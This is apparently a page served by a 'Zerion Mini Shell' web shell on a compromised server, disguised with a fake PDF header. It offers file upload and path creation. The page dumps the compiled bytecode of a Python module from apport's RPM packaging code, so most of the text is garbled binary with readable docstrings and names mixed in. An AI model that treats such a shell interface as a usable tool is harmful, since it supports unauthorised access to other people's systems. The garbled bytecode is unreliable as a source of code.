%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/apport/packaging_impl/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/apport/packaging_impl/__pycache__/rpm.cpython-312.pyc

�

�!f�,��R�dZddlZddlZddlZddlZddlZGd�d�Ze�Zy)z�A partial apport.PackageInfo class implementation for RPM.

Used as a base class for Fedora, RHEL, openSUSE, SUSE Linux, and many other
distributions.
�Nc��eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Z	dd�Z
ed
��Zd�Zd�Zdd�Zd�Zd�Zd�Zed��Zed��Zed��Zy)�RPMPackageInfozcPartial apport.PackageInfo class implementation for RPM, as
    found in Fedora, RHEL, CentOS, etc.�c�D�tj�|_d|_y)N)�rpm�TransactionSet�ts�_mirror)�selfs �;/usr/lib/python3/dist-packages/apport/packaging_impl/rpm.py�__init__zRPMPackageInfo.__init__.s���$�$�&������c��|j|�}|�t�|ds
|d�d|d��S|dr|dsy|d�d|d�d|d��S)z*Return the installed version of a package.N�e�v�-�r�:)�_get_header�
ValueError�r�package�hdrs   r�get_versionzRPMPackageInfo.get_version2sp�����w�'���;����3�x��#�h�Z�q��S��
�+�+��3�x�s�3�x���c�(��1�S��X�J�a��C��z�2�2rc��td��)z1Return the latest available version of a package.�Emethod must be implemented by distro-specific RPMPackageInfo subclass��NotImplementedError)rrs  r�get_available_versionz$RPMPackageInfo.get_available_version>s��"�S�
�	
rc�<�|j|�}g}|dD]�}|jd�s|jd�r�&|ddk(r|jd|�}n|jd|�}|D])}|j|�}||vs�|j	|��+��|S)z/Return a list of packages a package depends on.�requires�rpmlibzuname(r�/�	basenames�provides)r�
startswith�_get_headers_by_tag�_make_envra_from_header�append)rrr�reqsr�	req_heads�rh�rh_envras        r�get_dependencieszRPMPackageInfo.get_dependenciesEs������w�'�����Z��
	*�A��|�|�H�%����h�)?����t�s�{� �4�4�[�!�D�	� �4�4�Z��C�	��
*���7�7��;���4�'��K�K��)�
*�
	*��rc�.�|j|�}|dS)z-Return the source package name for a package.�	sourcerpm�rrs   r�
get_sourcezRPMPackageInfo.get_sourceWs�����w�'���;��rc�.�|j|�}|dS)z�Return the architecture of a package.

        This might differ on multiarch architectures (e. g.  an i386 Firefox
        package on a x86_64 system).
        �archr1rs   r�get_architecturezRPMPackageInfo.get_architecture\s�����w�'���6�{�rc��|j|�}g}t|d|d�D],\}}tj|�r�|j	|��.|S)z*Return list of files shipped by a package.�	filenames�	filemodes)r�zip�stat�S_ISDIRr))rrr�files�f�modes      r�	get_fileszRPMPackageInfo.get_filesgsY�����w�'�����3�{�+�S��-=�>�	 �G�A�t��<�<��%����Q��	 ��rc��|j|�}|d}|d}|d}g}t|�D]�\}}||s�tj|tj�s�1tj
|�}	tj|	j�s�f|||	jk(r�y|j|||�r��|j|���|S)z/Return list of all modified files of a package.r7�
filemtimes�filemd5s)r�	enumerate�os�access�R_OKr:�S_ISREG�st_mode�st_mtime�	_checkmd5r))
rrrr<�mtimes�md5s�modified�i�filename�ss
          r�get_modified_filesz!RPMPackageInfo.get_modified_filesps������w�'���K� ���\�"���:�����$�U�+�	*�K�A�x���7���9�9�X�r�w�w�/������!�A��<�<��	�	�*���a�y�A�J�J�&���>�>�(�D��G�4�����)�!	*�$�rNc��td��)apReturn the package a file belongs to.

        Return None if the file is not shipped by any package.

        If uninstalled is True, this will also find files of uninstalled
        packages; this is very expensive, though, and needs network access and
        lots of CPU and I/O resources. In this case, map_cachedir can be set to
        an existing directory which will be used to permanently store the
        downloaded maps. If it is not set, a temporary directory will be used.
        Also, release and arch can be set to a foreign release/architecture
        instead of the one from the current system.
        rr)r�file�uninstalled�map_cachedir�releaser4s      r�get_file_packagezRPMPackageInfo.get_file_package�s��""�S�
�	
rc��tjgd�dtjd��}|jj	�}|S)zcReturn the architecture of the system, in the notation used by the
        particular distribution.)rz--evalz%_target_cpuT)�check�stdout�text)�
subprocess�run�PIPErZ�strip)�rpmarchr4s  r�get_system_architecturez&RPMPackageInfo.get_system_architecture�s;���.�.�-���?�?��	
���~�~�#�#�%���rc��|jstd��|j|�}|sy|dr&|dddjd�}||jvryy)zaCheck if a package is a genuine distro package (True) or comes from
        a third-party source.z0Subclass the RPM implementation for your distro!F�siggpg�
��hexT)�official_keylistrr�encode)rrr�keyids    r�is_distro_packagez RPMPackageInfo.is_distro_package�sm���$�$�%�B��
����w�'�����x�=���M�"�R�(�/�/��6�E���-�-�-��rc��||_y)z�Explicitly set a distribution mirror URL for operations that need to
        fetch distribution files/packages from the network.

        By default, the mirror will be read from the system configuration
        files.
        N)r
)r�urls  r�
set_mirrorzRPMPackageInfo.set_mirror�s����rc��td��)a�Download source package and unpack it into output_dir.

        This also has to care about applying patches etc., so that output_dir
        will eventually contain the actually compiled source. output_dir needs
        to exist and should be empty.

        If version is given, this particular version will be retrieved.
        Otherwise this will fetch the latest available version.

        If sandbox is given, that sandbox is used to download the source
        package, otherwise it uses the system configuration.

        Return the directory that contains the actual source root directory
        (which might be a subdirectory of output_dir). Return None if the
        source is not available.
        rr)r�
srcpackage�
output_dir�version�sandboxs     r�get_source_treezRPMPackageInfo.get_source_tree�s��$"�S�
�	
rc��td��)ztCompare two package versions.

        Return -1 for ver < ver2, 0 for ver1 == ver2, and 1 for ver1 > ver2.
        rr)r�ver1�ver2s   r�compare_versionszRPMPackageInfo.compare_versions�s��"�S�
�	
rc��td��)z2Return known package names which match given glob.�TODOr)r�nameglobs  r�package_name_globz RPMPackageInfo.package_name_glob�s
��!�&�)�)rc��|jj||�}|j�dk(rtd|�d|����|S)zQGet a list of RPM headers by doing dbMatch on the given tag and
        argument.rzCould not find package with z: )r	�dbMatch�countr)r�tag�arg�matchess    rr'z"RPMPackageInfo._get_headers_by_tag�sD���'�'�/�/�#�s�+���=�=�?�a���;�C�5��3�%�H�I�I��rc��|}t|�}|dkDr[tjjd|�}t	|�}t|�dkDr|d}n|dt|�dz
}|dz
}|dkDr�[|dk(rtd|����S)z0Get the RPM header that matches the given ENVRA.r�name�z!No headers found for this envra: )�len�implr	r}�listr)�envra�querystr�qlen�mi�hdrs�hs      rrzRPMPackageInfo._get_headers������5�z���Q�h��������2�B���8�D��4�y�1�}�
��G��� ��C��M�A�$5�6�H��!�8�D��Q�h��1�9��@���H�I�I��rc�^�|d�d|d�d|d�d|d��}|dr|d�d|��}|S|}|S)	z,Generate an ENVRA string from an rpm header.�nrrr�.r4rrr)r��nvrar�s   rr(z&RPMPackageInfo._make_envra_from_headers^���C�&���1�S�6�(�!�A�c�F�8�1�Q�v�Y�K�8���S�6���v�h�a��v�&�E����E��rc���tj�}t|d��5}|j�}ddd�|j	�||j�k(S#1swY�-xYw)zCheck a file's md5sum.zutf-8)�encodingN)�hashlib�md5�open�read�update�	hexdigest)rO�filemd5�m�md5_file�datas     rrJzRPMPackageInfo._checkmd5$sW��
�K�K�M��
�(�W�
-�	#���=�=�?�D�	#�	������!�+�+�-�'�'�	#�	#�s�A�A()FNNN)NN)�__name__�
__module__�__qualname__�__doc__rgr
rrr.r2r5r?rQrW�staticmethodrarjrmrsrwr{r'rr(rJrrrrr&s���+�
���
3�
��$ �
	���<NR�
�*�
��
��(�
�,
�*������.�����(��(rr)r�r�rDr:r\rrr�rrr�<module>r�s4���6�	����E(�E(�P��r

Zerion Mini Shell 1.0